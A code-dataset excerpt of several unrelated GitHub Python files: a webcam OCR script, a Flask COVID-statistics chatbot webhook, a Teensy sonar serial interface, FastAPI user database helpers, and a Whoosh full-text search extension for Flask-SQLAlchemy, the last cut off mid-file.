\"\":\n# x, y, w, h = img_data[\"left\"][i], img_data[\"top\"][i], img_data[\"width\"][i], img_data[\"height\"][i]\n# cv2.rectangle(img, (x, y), (x + w, y + h), (0, 255, 0), 1)\n# cv2.putText(img, word, (x, y - 6), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 0, 255), 1)\n#\n# cv2.imshow(\"camera\", img)\n# cv2.waitKey(0)\n\n# Объект видеокамеры\ncap = cv2.VideoCapture(0)\n\n# Настрока параметров вебкамеры\ncap.set(cv2.CAP_PROP_FPS, 24) # Частота кадров\ncap.set(cv2.CAP_PROP_FRAME_WIDTH, 480) # Ширина кадров в видеопотоке.\ncap.set(cv2.CAP_PROP_FRAME_HEIGHT, 320) # Высота кадров в видеопотоке.\n\n# For face recognition\n# face_db = cv2.CascadeClassifier(cv2.data.haarcascades+\"haarcascade_frontalface_alt.xml\")\n\n# Жизненный цикл программы\nwhile True:\n # Чтение кадра камеры\n ret, img = cap.read()\n # условие выхода, в случае отсутсвия картинки с камеры\n if ret == False:\n break\n\n img_data = pytesseract.image_to_data(img, output_type=Output.DICT)\n\n # Вывод обводки для распознанных слов на кадре,\n # и самих слов над распознанными\n for i, word in enumerate(img_data[\"text\"]):\n if word != \"\":\n x,y,w,h = img_data[\"left\"][i],img_data[\"top\"][i],img_data[\"width\"][i],img_data[\"height\"][i]\n cv2.rectangle(img, (x,y), (x+w, y+h), (0, 255, 0), 2)\n cv2.putText(img, word, (x,y-8), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 0, 255), 1)\n\n # For face recognition\n # img_gray = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\n # smiles = face_db.detectMultiScale(img_gray, 1.1, 19)\n #\n # for (x, y, w, h) in smiles:\n # cv2.rectangle(img, (x,y), (x+w, y+h), (0, 255, 0), 2)\n # cv2.imshow(\"camera\", img)\n\n # Вывод кадра в окно\n cv2.imshow(\"camera\", img)\n # Условие выхода из цикла (кнопка q)\n if cv2.waitKey(10) & 0xff == ord('q'):\n break\n\n# Уничтожаем объект камеры и окна\ncap.release()\ncv2.destroyAllWindows()","repo_name":"savelevvaa/tmm-text-recognition","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2823,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"16148593879","text":"from flask import Flask,request,make_response\r\nimport json\r\nimport os\r\nimport pandas as pd\r\n\r\n\r\napp = Flask(__name__)\r\n\r\ndf_dist=pd.read_csv(\"covid_india_district.csv\")\r\ndf_state=pd.read_csv(\"covid_state_new.csv\")\r\ndf_world=pd.read_csv(\"Covid_World_2104.csv\")\r\ndf_pincodes=pd.read_excel(\"pincodes_data.xlsx\")\r\ndf_pincodes['pincode'] = df_pincodes['pincode'].astype(str)\r\n\r\n\r\n\r\n@app.route('/webhook',methods=['POST'])\r\n\r\ndef webhook():\r\n if request.method == 'POST':\r\n req = request.get_json(silent=True, force=True)\r\n res = makeWebhookResult(req)\r\n res = json.dumps(res,indent=True)\r\n r = make_response(res)\r\n r.headers['Content-Type'] = 'application/json'\r\n return r\r\n\r\ndef makeWebhookResult(req):\r\n query_response=req['queryResult']\r\n user_says_name = query_response.get(\"queryText\")\r\n parameters=query_response.get('parameters',None)\r\n name=parameters.get('name',None)\r\n code=parameters.get('pincode',None)\r\n\r\n\r\n intent = query_response.get(\"intent\").get('displayName')\r\n if(intent == 'Covid_World_Stats'or intent=='Covid_World_Stats - custom'):\r\n cntry_param=query_response.get(\"queryText\")\r\n cntry_param=query_response.get('parameters',None)\r\n cntry=parameters.get('country',None)\r\n state=parameters.get('state',None)\r\n state=state.replace(\" \",\"\")\r\n city=parameters.get('city',None)\r\n wrld_cases_total = str(df_world['Total_Cases'].astype(int).sum(axis=0))\r\n wrld_cases_deaths = str(df_world['Deaths'].astype(int).sum(axis=0))\r\n wrld_cases_rec = str(df_world['Recovered'].astype(int).sum(axis=0))\r\n wrld_cases_act = str(df_world['Active_Cases'].astype(int).sum(axis=0))\r\n wrld_cases_new = str(df_world['New_Cases'].astype(int).sum(axis=0))\r\n wrld_cases_new_deaths = str(df_world['New_Deaths'].astype(int).sum(axis=0))\r\n if (cntry != ''):\r\n cntry_cases = df_world[df_world['Country'] == cntry]\r\n cntry_cases = cntry_cases.to_dict('index')\r\n cntry_cases = [str(j) + \":\" + str(k) for i in cntry_cases for j, k in cntry_cases[i].items()]\r\n cntry_cases = str(cntry_cases).replace(\"[\", \"\").replace(\"]\", \"\").replace(\"'\", \"\")\r\n speech = cntry_cases\r\n elif (state != ''):\r\n state_search = df_state[df_state['State'].str.contains(state)]\r\n if (len(state_search) != 0):\r\n state_cases = df_state[df_state['State'] == state]\r\n state_cases = state_cases.to_dict('index')\r\n state_cases = [str(j) + \":\" + str(k) for i in state_cases for j, k in state_cases[i].items()]\r\n state_cases = str(state_cases).replace(\"[\", \"\").replace(\"]\", \"\").replace(\"'\", \"\")\r\n speech = state_cases\r\n else:\r\n speech = \"Please enter any of India's States!\"\r\n elif(city == ''):\r\n speech = \"World-Wide Statistics, \" + \"Total_Cases:\" + wrld_cases_total + \" ,\" + \"Total_Deaths:\" + wrld_cases_deaths + \" ,\" + \"Total_Recovered:\" + wrld_cases_rec + \" ,\" + \"Total_Active_Cases:\" + wrld_cases_act + \" ,\" + \"New_Cases:\" + wrld_cases_new + \" ,\" + \"New_Deaths:\" + wrld_cases_new_deaths\r\n else:\r\n speech = \"I'm here to provide covid-19 statistics country-wise and state-wise!Please ask related to it\"\r\n\r\n\r\n elif(intent == 'Name' or intent == 'Name - custom'):\r\n pincode_search = df_pincodes[df_pincodes['pincode'].str.contains(str(code))]\r\n if(len(pincode_search) != 0):\r\n dist = df_pincodes[df_pincodes['pincode'] == str(code)].District\r\n dist= dist.to_string().split(\" \")[4]\r\n dist_cases = df_dist[df_dist['District'] == dist].Cases\r\n dist_cases = dist_cases.to_string().split(\" \")[4]\r\n speech = \"The number of cases in your\" + \" \" + dist+ \" district \" + \"is \" + dist_cases + \".\" + \"Would you like to know more about the covid-19 cases?\"\r\n\r\n else:\r\n speech=\"Please enter valid any of India's pin code\"\r\n elif(intent == 'Summary'):\r\n smry_param = query_response.get(\"queryText\")\r\n smry_param = query_response.get('parameters', None)\r\n smry = parameters.get('summary', None)\r\n if(smry == 'states'):\r\n cnt_states = df_state.shape[0]\r\n state_aff_most = df_state.iloc[df_state['Confirmed'].argmax()]\r\n state_aff_most = state_aff_most['State']\r\n speech = \"The number of states affected with corona virus in India is \" + str(cnt_states) + \".\" + \"The state with most cases is \" + state_aff_most\r\n else:\r\n cnt_cntries = df_world.shape[0]\r\n cntry_aff_most = df_world.iloc[df_world['Total_Cases'].argmax()]\r\n cntry_aff_most = cntry_aff_most['Country']\r\n speech = \"The number of countries impacted all over the world is \" + str(cnt_cntries)+ \".\" + \"The country with most cases is \" + cntry_aff_most\r\n elif(intent == 'Summary_Lowest'):\r\n smry_param_low = query_response.get(\"queryText\")\r\n smry_param_low = query_response.get('parameters', None)\r\n smry_low = parameters.get('summary', None)\r\n if (smry_low == 'states'):\r\n cnt_states = df_state.shape[0]\r\n state_aff_least = df_state.iloc[df_state['Confirmed'].argmin()]\r\n state_aff_least = state_aff_least['State']\r\n speech = \"The number of states affected with corona virus in India is \" + str(cnt_states) + \".\" + \"The state with least cases is \" + state_aff_least\r\n else:\r\n cnt_cntries = df_world.shape[0]\r\n cntry_aff_least = df_world.iloc[df_world['Total_Cases'].argmin()]\r\n cntry_aff_least = cntry_aff_least['Country']\r\n speech = \"The number of countries impacted all over the world is \" + str(cnt_cntries) + \".\" + \"The country with least cases is \" + cntry_aff_least\r\n\r\n print(speech)\r\n return {\r\n \"speech\": speech,\r\n \"fulfillmentText\": speech\r\n }\r\nif __name__ == \"__main__\":\r\n port = int(os.getenv('PORT'))\r\n print(\"Starting app on port %d\" %(port))\r\n app.run(debug=False)\r\n","repo_name":"praneethgujarati/Dialogflow_Covid_Bot","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":6121,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"9788656397","text":"\"\"\" Interface to the serial port used by Teensy microcontroller.\n\nThis script allows the user to retrieve data from a Teensy microcontroller using a serial \nport. Two types of requests can be made: \n\n\t1) status request - the data returned from this request will contain info about the \n\tstatus of the microcontroller, including whether it is currently connected, and the \n\tcurrent sampling rate of the ADC. Note that to achieve maximum performace the sampling \n\trate of the ADC is not fixed and is set as high as possible by the microcontroller.\n\t\n\t2) sonar request - the data returned from this request is the sampled recieve signal \n\tcaptured by the Teensy. The sampling rate of the ADC is also included. This is vital \n\timportant for any subsequent signal processing, as the sampling rate is not fixed. \n\nThis script requires that 'serial' be installed within the Python environment you are \nrunning this script in.\n\nThis file can also be imported as a module and contains the following\nfunctions:\n\n * list_serial_devices - prints all the available serial ports to the console\n * request_status - retrieves the current status of the Teensy.\n * request_sonar_data - sends transmit command to Teensy and retrieves the captured \n recieve signals. \n\n\nNote that some attributes used in this script are set be default and cannot be provided \nfrom outside this script, including TEENSY_DEVICE, BAUD_RATE, and SERIAL_TIMEOUT.\n \"\"\"\n\n\n# ===================================== IMPORTS ======================================== #\n\nimport serial\nimport time\nfrom serial.tools import list_ports\n\n\n# ================================= GLOBAL VARIABLES =================================== #\n\n# the device name for the Teensy board is '/dev/cu.usbmodem58714801' on my pc\nglobal TEENSY_DEVICE; TEENSY_DEVICE = '/dev/cu.usbmodem58714801' \n\n# baud rate of the serial coms -> may be overwritten if using USB to default USB baud rate \nglobal BAUD_RATE; BAUD_RATE = 9600;\n\n# Seconds that serial port waits after last byte before closing connection. Two different\n# timeout values are defined: Use SERIAL_TIMEOUT_SHORT when receiving sonar data from\n# a single receiver (1D mode), and SERIAL_TIMEOUT_LONG when receiving sonar data \n# from multiple receivers. \nglobal SERIAL_TIMEOUT_LONG; SERIAL_TIMEOUT_LONG = 0.8; \nglobal SERIAL_TIMEOUT_SHORT; SERIAL_TIMEOUT_SHORT = 0.2; \n\n\n\n# ================================= CLASS DEFINITIONS ================================== #\n\n\nclass TeensyError(Exception):\n\t\"\"\"Exception raised for errors in communication with Teensy\n\t\n\tThis error can be raised if no Teensy device is connected, or if the bytes recieved \n\tduring serial comms with the Teensy are not in the expected format.\n\t\n\tAttributes\n\t----------\n\tmessage : str\n\t\texplanation of the error\n\t\"\"\"\n\tdef __init__(self, message):\n\t\t\"\"\"\n\t\tParameters\n\t\t----------\n\t\tmessage : str\n\t\t\texplanation of the error\t\n\t\t\"\"\"\n\t\t\n\t\tself.message = message\n\t\tself.expression = \"\"\n\n\n\tdef __str__(self):\n\t\t\"\"\" returns string containing explaination of error \"\"\"\n\t\t\n\t\treturn self.message\n\n\n\n# =============================== FUNCTION DEFINITIONS ================================= #\n\ndef list_serial_devices():\n\t\"\"\"prints all the available serial ports to the console. \"\"\"\n\t\n\tports = serial.tools.list_ports.comports()\n\tprint(len(ports), 'ports found:') # print the number of ports found\n\tfor p in ports:\n\t\tprint(\"\\t\",p.device)\n\t\n\ndef request_status():\n\t\"\"\" Retrieves the current status of the Teensy and returns it as a dictionary.\n\t\n\tThe status of the Teensy microcontroller includes: 1) whether the Teensy is currently \n\tconnected and 2) the current sampling rate of the internal ADC of the Teensy (Note \n\tthat to achieve maximum performace the sampling rate of the ADC is not fixed and is \n\tset as high as possible by the microcontroller).\n\t\n\tTo request status from the Teensy, the Teensy expects the char 'i' to be written to\n\tthe serial port.\n\t\n\tThe format of the status data returned from the Teensy is expected to be in the \n\tfollowing format:\n\t\n\t\"sample_rate\"\n\t\n\t\n\tNote that a maximum of 100 bytes are read from the serial port. If less than 100 bytes\n\tare written by the Teensy, then the serial port will automatically close after timeout \n\tperiod (SERIAL_TIMEOUT_SHORT is used by default).\n\t\n\tReturns\n\t-------\n\tA dictionary mapping each of the status indicators to their value. The dictionary will\n\tlook as follows:\n\t\n\t\t{\"connection\" : \"Connected\",\n\t\t \"sample_rate\" : \"104.12 kHz\"}\n\t\n\tNote that the only values that are valid for the 'connection' indicator are \n\t\"Connected\" and \"Not Connected\". If Teensy is not connected, the value associated\n\twith 'sample_rate' is set to \"N/A\".\n\t\t\n\tRaises\n\t------\n\tTeensy Error\n\t\tIf any errors occure during Teensy comms, including no Teensy connection or \n\t\tinvalid format \n\t\"\"\"\n\t\n\tdict = {}\n\t\n\ttry:\n\t\t# establish serial connection with teensy \n\t\tteensy = serial.Serial(TEENSY_DEVICE, BAUD_RATE, timeout = SERIAL_TIMEOUT_SHORT)\n\t\t\n\t\t# send command to teensy to return status data\n\t\tteensy.write(str(\"i\").encode())\n\t\t\n\t\t# retrieve data from Teensy\n\t\tinfo = teensy.read(100).decode('ascii').split(\"\\n\") # new line means new value\n\t\n\t\tif(\"sample_rate\" not in info[0]):\n\t\t\traise TeensyError(\"Format from Teensy not recognised: input does not contain string 'sample_rate' at index 0\")\n\t\t\n\t\t# if no error has been thrown by this point, it means that the Teensy is connected\n\t\tdict[\"connection\"] = \"Connected\"\n\t\t\n\t\t# provided sample rate in kHz rounded to 2 decimal places\n\t\tdict[\"sample_rate\"] = \"{} kHz\".format(round(float(info[1].replace(\"\\r\",\"\"))/1000.0,2))\n\t\t\n\texcept (serial.serialutil.SerialException) as e1:\n\t\tprint(\"\\tCould not connect to Teensy\")\n\t\tdict[\"connection\"] = \"Not Connected\"\n\t\tdict[\"sample_rate\"] = \"N/A\"\n\t\t\n\texcept TeensyError as e2:\n\t\tprint(\"\\t\", e2)\n\t\tdict[\"connection\"] = \"Not Connected\"\n\t\tdict[\"sample_rate\"] = \"N/A\"\n\t\t\n\t\n\treturn dict\n\n\ndef request_sonar_data(short_timeout=False):\n\t\"\"\"Sends transmit command to Teensy and retrieves the captured recieve signals.\n\t\n\tThe sonar data includes the recieve signal captured from each of the channels on the\n\tsonar. The sampling rate of the ADC is included. This is vital important for any \n\tsubsequent signal processing, as the sampling rate is not fixed. Also, the maximum\n\tADC code is provided. This is determined by the resolution of the ADC and is required\n\tto convert each adc code into avoltage\n\t\n\tTo request sonar data from the Teensy, the Teensy expects the char 'f' to be written \n\tto the serial port.\n\t\n\tThe format of the sonar data returned from the Teensy is expected to be in the \n\tfollowing format ('...' represents data that is not shown):\n\t\n\t\"sample_rate\"\n\t\n\t\"max_adc_code\"\n\t\n\t\"start_buffer_transfer\"\n\t\"buffer0\"\n\t123\n\t122\n\t345\n\t...\n\t\"buffer1\"\n\t...\n\t\"buffer\"\n\t...\n\t\"end_buffer_transfer\"\n\t\n\tNote that each of the sampled values is provided as an adc_code. These will be in the\n\trange from 0 -> max_adc_code. A maximum of 1000000 bytes are read from the serial \n\tport. If less than 1000000 bytes are written by the Teensy, then the serial port will \n\tautomatically close after timeout period.\n\t\n\tParameters\n\t----------\n\tshort_timeout : bool, optional\n\t\tif true sets serial timeout to SERIAL_TIMEOUT_SHORT, if false sets serial timeout \n\t\tto SERIAL_TIMEOUT_LONG. Use SERIAL_TIMEOUT_SHORT when receiving sonar data from\n\t\ta single receiver (1D mode), and SERIAL_TIMEOUT_LONG when receiving sonar data \n\t\tfrom multiple receivers.\n\t\t\n\tReturns\n\t-------\n\tA dictionary containing the recived signal buffer for each sonar channel, as well as \n\tthe sample rate. The dictionary might look as follows:\n\t\n\t\t{\"sample_rate\" : \"104.12 kHz\",\n\t\t \"buffer0\" : [1.2, 1.1, 1.1,...], \n\t\t \"buffer1\" : [...],\n\t\t \t...\n\t\t \"buffer\" : [...]}\n\t\n\tNote that each sample has been converted from its adc code to the voltage it \n\trepresents. If Teensy is not connected, then an empty dictionary {} is returned.\n\t\t\n\tRaises\n\t------\n\tTeensy Error\n\t\tIf any errors occure during Teensy comms, including no Teensy connection or \n\t\tinvalid format \n\t\"\"\"\n\n\tdict = {}\n\t\n\ttry:\n\t\t\n\t\t# establish serial connection with teensy and send command to transmit chirp and \n\t\t# return sampled echos\n\t\tif(short_timeout):\n\t\t\tteensy = serial.Serial(TEENSY_DEVICE, BAUD_RATE, timeout = SERIAL_TIMEOUT_SHORT)\n\t\t\t# command 'g' is send for short mode\n\t\t\tteensy.write(str(\"g\").encode())\n\t\telse:\n\t\t\tteensy = serial.Serial(TEENSY_DEVICE, BAUD_RATE, timeout = SERIAL_TIMEOUT_LONG)\n\t\t\t# command 'f' is send for short mode\n\t\t\tteensy.write(str(\"f\").encode())\n\t\t\n\t\t\n\t\t# retrieve data from Teensy\n\t\tsamples = teensy.read(10000000).decode('ascii').split(\"\\n\") # new line means new value\n\t\t\n\t\t\n\t\tif(\"sample_rate\" not in samples[0]):\n\t\t\traise TeensyError(\"Format from Teensy not recognised: input does not contain string 'sample_rate' at index 0\")\n\t\t\n\t\tdict[\"sample_rate\"] = float(samples[1].replace(\"\\r\",\"\"))\n\t\t\n\t\tif(\"max_adc_code\" not in samples[2]):\n\t\t\traise TeensyError(\"Format from Teensy not recognised: input does not contain string 'max_adc_code' at index 2\")\n\t\t\n\t\t# maximum adc code - e.g. if 10bit ADC is used, max code is 2**10 = 1024. Used to \n\t\t# convert adc code into a voltage. \n\t\tmax_adc_code = float(samples[3].replace(\"\\r\",\"\"))\n\t\t\n\t\tif(\"start_buffer_transfer\" not in samples[4]):\n\t\t\traise TeensyError(\"Format from Teensy not recognised: input does not contain string 'start_buffer_transfer' at index 4\")\n\t\t\n\t\tcurrent_buffer = \"\"\n\t\tcounter = 5 # start iterations after 'start_buffer_transfer' at index 5\n\t\t\n\t\twhile(True):\t\t\n\t\t\t\n\t\t\t\n\t\t\t# if end is reached without receiving 'end_buffer_transfer' string, raise an error\n\t\t\tif(counter>=len(samples)):\n\t\t\t\traise TeensyError(\"Format from Teensy not recognised: input does not end with string 'end_buffer_transfer'\")\n\t\t\t\n\t\t\t# indicates end of sonar data\t\n\t\t\telif(\"end_buffer_transfer\" in samples[counter]):\n\t\t\t\tbreak\n\t\t\t\n\t\t\t# indicates start of new buffer/channel \n\t\t\telif(\"buffer\" in samples[counter]):\n\t\t\t\t# create key for current buffer for dict\n\t\t\t\tcurrent_buffer = samples[counter].replace(\"\\r\",\"\") # remove \\r\n\t\t\t\t\n\t\t\t\tdict[current_buffer] = []\n\t\t\telse:\n\t\t\t\tadc_code = int(samples[counter].replace(\"\\r\",\"\")) # remove \\r\n\t\t\t\t\n\t\t\t\t# convert adc code into voltage - assumes teensy has 3.3V reference\n\t\t\t\tvoltage = adc_code * 3.3 / (max_adc_code - 1)\n\t\t\t\t\n\t\t\t\t# append next sample to appropriate key in dict\n\t\t\t\tdict[current_buffer].append(voltage) \n\t\t\t\n\t\t\tcounter=counter+1\n\t\t\n\n\texcept (serial.serialutil.SerialException) as e1:\n\t\tprint(\"\\tCould not connect to Teensy\")\n\t\t\n\t\t# re-raise as TeensyError so it can be handled correctly above\n\t\traise TeensyError(\"Could not connect to Teensy\")\n\t\n\texcept TeensyError as e2:\n\t\tprint(\"\\t\",e2)\n\t\t\n\t\t# re-raise as TeensyError so it can be handled correctly above\n\t\traise TeensyError(e2.message)\n\n\t\n\treturn dict\n\n\n# ====================================== MAIN ========================================== #\n\nif __name__ == \"__main__\":\n\n\t# runs test that all functionality in this module is working as expected\n\t\n\tprint (\"Searching for ports...\")\n\tlist_serial_devices();\n\tprint (\"Requesting info data from Teensy\")\n\trequest_info_data()\n\tprint (\"Requesting sonar data from Teensy\")\n\t\n\tstart_time_millis = time.time()\n\tstart_time_fmt = time.strftime(\"%H:%M:%S\", time.localtime())\n\t\n\trequest_sonar_data()\n\t\n\tend_time_millis = time.time()\n\truntime = end_time_millis - start_time_millis\n\tprint(\"Runtime info: starttime={}, runtime={}s\".format(start_time_fmt,round(runtime,2)))\n\n\n\n\n\n# ====================================== END =========================================== #\n\n","repo_name":"jasonpilbrough/sonar-imaging","sub_path":"signal_processing/teensy_interface.py","file_name":"teensy_interface.py","file_ext":"py","file_size_in_byte":11553,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"74606630323","text":"import hashlib\nfrom typing import List\n\nfrom app.db.schema import UsersTable\nfrom sqlalchemy.ext.asyncio import AsyncSession\n\n\ndef to_dict(model, *args, exclude: List = None):\n q_dict = {}\n for c in model.__table__.columns:\n if not args or c.name in args:\n if not exclude or c.name not in exclude:\n q_dict[c.name] = getattr(model, c.name)\n\n return q_dict\n\n\nasync def create_user(session: AsyncSession, **kwargs):\n q = UsersTable.insert().values(**kwargs)\n await session.execute(q)\n\n\nasync def get_hash_pswd(pswd: str):\n double_hash_object = hashlib.sha256()\n double_hash_object.update(pswd.encode(\"utf-8\"))\n return double_hash_object.hexdigest()\n\n\nasync def is_email_exist(session: AsyncSession, email: str):\n q = UsersTable.select().where(UsersTable.c.email == email)\n get_email = await session.execute(q)\n return get_email.one_or_none()\n\n\nasync def is_phone_exist(session: AsyncSession, phone: str):\n q = UsersTable.select().where(UsersTable.c.phone == phone)\n get_phone = await session.execute(q)\n return get_phone.one_or_none()\n\n\nasync def update_user(session: AsyncSession, email, **kwargs):\n q = UsersTable.update().where(UsersTable.c.email == email).values(**kwargs)\n await session.execute(q)\n","repo_name":"Dongkey-Dev/fastapi_users","sub_path":"app/utils/query_utils.py","file_name":"query_utils.py","file_ext":"py","file_size_in_byte":1281,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"23042854063","text":"import logging\nimport os\nimport sys\n\nfrom flask_sqlalchemy import models_committed\n\nimport sqlalchemy\nfrom sqlalchemy import types\nfrom sqlalchemy.inspection import inspect\nfrom sqlalchemy.ext.hybrid import hybrid_property\n\nfrom whoosh import index as whoosh_index\nfrom whoosh.analysis import StemmingAnalyzer\nfrom whoosh.fields import BOOLEAN, DATETIME, ID, NUMERIC, TEXT\nfrom whoosh.fields import Schema as _Schema\nfrom whoosh.qparser import AndGroup, MultifieldParser, OrGroup\n\nfrom werkzeug.utils import import_string\n\n# if sys.version_info[0] < 3:\n# str = unicode\n\nDEFAULT_ANALYZER = StemmingAnalyzer()\n\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.DEBUG)\nlogger.addHandler(logging.StreamHandler(sys.stderr))\n\n\ndef relation_column(instance, fields):\n '''\n such as: user.username\n such as: replies.content\n '''\n relation = getattr(instance.__class__, fields[0]).property\n _field = getattr(instance, fields[0])\n if relation.lazy == 'dynamic':\n _field = _field.first()\n return getattr(_field, fields[1]) if _field else ''\n\n\nclass Schema(object):\n def __init__(self, index):\n self.index = index\n self.pk = index.pk\n self.analyzer = index.analyzer\n self.schema = _Schema(**self.fields)\n\n def _fields(self):\n return {self.pk: ID(stored=True, unique=True)}\n\n def fields_map(self, field_type):\n if field_type == 'primary':\n return ID(stored=True, unique=True)\n type_map = {\n 'date': types.Date,\n 'datetime': types.DateTime,\n 'boolean': types.Boolean,\n 'integer': types.Integer,\n 'float': types.Float\n }\n if isinstance(field_type, str):\n field_type = type_map.get(field_type, types.Text)\n\n if not isinstance(field_type, type):\n field_type = field_type.__class__\n\n if issubclass(field_type, (types.DateTime, types.Date)):\n return DATETIME(stored=True, sortable=True)\n elif issubclass(field_type, types.Integer):\n return NUMERIC(stored=True, numtype=int)\n elif issubclass(field_type, types.Float):\n return NUMERIC(stored=True, numtype=float)\n elif issubclass(field_type, types.Boolean):\n return BOOLEAN(stored=True)\n return TEXT(stored=True, analyzer=self.analyzer, sortable=False)\n\n @property\n def fields(self):\n model = self.index.model\n schema_fields = self._fields()\n primary_keys = [key.name for key in inspect(model).primary_key]\n\n schema = getattr(model, '__search_schema__', dict())\n\n for field in self.index.searchable:\n if '.' in field:\n fields = field.split('.')\n field_attr = getattr(getattr(model, fields[0]).property.mapper.class_, fields[1])\n else:\n field_attr = getattr(model, field)\n\n if field in schema:\n field_type = schema[field]\n if isinstance(field_type, str):\n schema_fields[field] = self.fields_map(field_type)\n else:\n schema_fields[field] = field_type\n continue\n\n if hasattr(field_attr, 'descriptor') and isinstance(field_attr.descriptor, hybrid_property):\n schema_fields[field] = self.fields_map('text')\n continue\n\n if field in primary_keys:\n schema_fields[field] = self.fields_map('text')\n continue\n\n field_type = field_attr.property.columns[0].type\n schema_fields[field] = self.fields_map(field_type)\n return schema_fields\n\n\nclass Index(object):\n def __init__(self, model, name, pk, analyzer, path=''):\n self.model = model\n self.path = path\n self.name = getattr(model, '__search_index__', name)\n self.pk = getattr(model, '__search_primary_key__', pk)\n self.analyzer = getattr(model, '__search_analyzer__', analyzer)\n self.searchable = set(getattr(model, '__searchable__', []))\n self._schema = Schema(self)\n self._writer = None\n self._client = self.init_reader()\n\n def init_reader(self):\n idx_path = os.path.join(self.path, self.name)\n if whoosh_index.exists_in(idx_path):\n return whoosh_index.open_dir(idx_path)\n if not os.path.exists(idx_path):\n os.makedirs(idx_path)\n return whoosh_index.create_in(idx_path, self.schema)\n\n @property\n def index(self):\n return self\n\n @property\n def fields(self):\n return self.schema.names()\n\n @property\n def schema(self):\n return self._schema.schema\n\n def create(self, *args, **kwargs):\n if self._writer is None:\n self._writer = self._client.writer()\n return self._writer.add_document(**kwargs)\n\n def update(self, *args, **kwargs):\n if self._writer is None:\n self._writer = self._client.writer()\n return self._writer.update_document(**kwargs)\n\n def delete(self, *args, **kwargs):\n if self._writer is None:\n self._writer = self._client.writer()\n return self._writer.delete_by_term(**kwargs)\n\n def commit(self):\n if self._writer is None:\n self._writer = self._client.writer()\n r = self._writer.commit()\n self._writer = None\n return r\n\n def search(self, *args, **kwargs):\n # TODO: memoize the searcher too\n return self._client.searcher().search(*args, **kwargs)\n\n\nclass Search(object):\n def __init__(self, app=None, db=None, analyzer=None):\n self._signal = None\n self._indices = dict()\n self.db = db\n self.analyzer = analyzer\n if app is not None:\n self.init_app(app)\n\n def _setdefault(self, app):\n app.config.setdefault('SEARCH_PRIMARY_KEY', 'id')\n app.config.setdefault('SEARCH_INDEX_NAME', 'search')\n app.config.setdefault('SEARCH_INDEX_SIGNAL', default_signal)\n app.config.setdefault('SEARCH_ANALYZER', None)\n app.config.setdefault('SEARCH_ENABLE', True)\n\n def _connect_signal(self, app):\n if app.config['SEARCH_ENABLE']:\n signal = app.config['SEARCH_INDEX_SIGNAL']\n if isinstance(signal, str):\n self._signal = import_string(signal)\n else:\n self._signal = signal\n models_committed.connect(self.index_signal)\n\n def index_signal(self, sender, changes):\n return self._signal(self, sender, changes)\n\n def init_app(self, app):\n self._setdefault(app)\n self._connect_signal(app)\n if self.analyzer is None:\n self.analyzer = app.config['SEARCH_ANALYZER'] or DEFAULT_ANALYZER\n self.pk = app.config['SEARCH_PRIMARY_KEY']\n self.index_name = app.config['SEARCH_INDEX_NAME']\n\n self.app = app\n if not self.db:\n self.db = self.app.extensions['sqlalchemy'].db\n self.db.Model.query_class = self._query_class(self.db.Model.query_class)\n\n def search(self, model, query, fields=None, limit=None, or_=True, **kwargs):\n index = self.index(model)\n if fields is None:\n fields = index.fields\n\n def _parser(fieldnames, schema, group, **kwargs):\n return MultifieldParser(fieldnames, schema, group=group, **kwargs)\n\n group = OrGroup if or_ else AndGroup\n parser = getattr(model, '__search_parser__', _parser)(\n fields,\n index.schema,\n group,\n **kwargs\n )\n\n return index.search(parser.parse(query), limit=limit)\n\n def _query_class(self, q):\n _self = self\n\n class Query(q):\n def search(self, query, fields=None, limit=None, or_=False, rank_order=False, **kwargs):\n model = self._mapper_zero().class_\n index = self.index(model)\n results = _self.search(model, query, fields=fields, limit=limit, or_=or_, **kwargs)\n\n if not results:\n return self.filter(sqlalchemy.text('null'))\n result_set = {result[index.pk] for result in results}\n # build SQL query\n result_query = self.filter(getattr(model, index.pk).in_(result_set))\n if rank_order:\n # order by relevance score\n id_scores = {result[index.pk]: result.rank for result in results}\n result_query.order_by(sqlalchemy.sql.case(id_scores, value=getattr(model, index.pk)))\n\n return result_query\n\n return Query\n\n def index(self, model):\n name = model.__table__.name\n if name not in self._indices:\n self._indices[name] = Index(model, name, self.pk, self.analyzer, self.index_name)\n return self._indices[name]\n\n def create_index(self, model='__all__', update=False, delete=False, yield_per=100):\n if model == '__all__':\n return self.create_all_indices(update=update, delete=delete)\n index = self.index(model)\n instances = model.query.enable_eager_loads(False).yield_per(yield_per)\n for instance in instances:\n self.create_one_index(instance, update=update, delete=delete, commit=False)\n index.commit()\n return index\n\n def create_all_indices(self, update=False, delete=False, yield_per=100):\n models = [model for model in self.db.Model._decl_class_registry.values() if hasttr(model, '__searchable__')]\n indices = []\n for model in models:\n indices.append(self.create_index(model, update, delete, yield_per))\n return indices\n\n def create_one_index(self, instance, update=False, delete=False, commit=True):\n if update and delete:\n raise ValueError(\"Can't update and delete in the same operation\")\n\n index = self.index(instance.__class__)\n pk = index.pk\n attrs = {pk: str(getattr(instance, pk))}\n\n for field in index.fields:\n if '.' in field:\n attrs[field] = str(relation_column(instance, field.split('.')))\n else:\n attrs[field] = str(getattr(instance, field))\n if delete:\n logger.debug(f'Deleting index: {instance}')\n index.delete(fieldname=pk, text=str(getattr(instance, pk)))\n elif update:\n logger.debug(f'Updating index: {instance}')\n index.update(**attrs)\n else:\n logger.debug(f'Creating index: {instance}')\n index.create(**attrs)\n if commit:\n index.commit()\n return instance\n\n def update_one_index(self, instance, commit=True):\n return self.create_one_index(instance, update=True, commit=commit)\n\n def delete_one_index(self, instance, commit=True):\n return self.delete_one_index(instance, delete=True, commit=commit)\n\n def update_all_index(self, yield_per=100):\n return self.create_all_indices(update=True, yield_per=yield_per)\n\n def delete_all_index(self, yield_per=100):\n return self.create_all_indices(delete=True, yield_per=yield_per)\n\n def update_index(self, model='__all__', yield_per=100):\n return self.create_index(model, update=True, yield_per=yield_per)\n\n def delete_index(self, model='__all__', 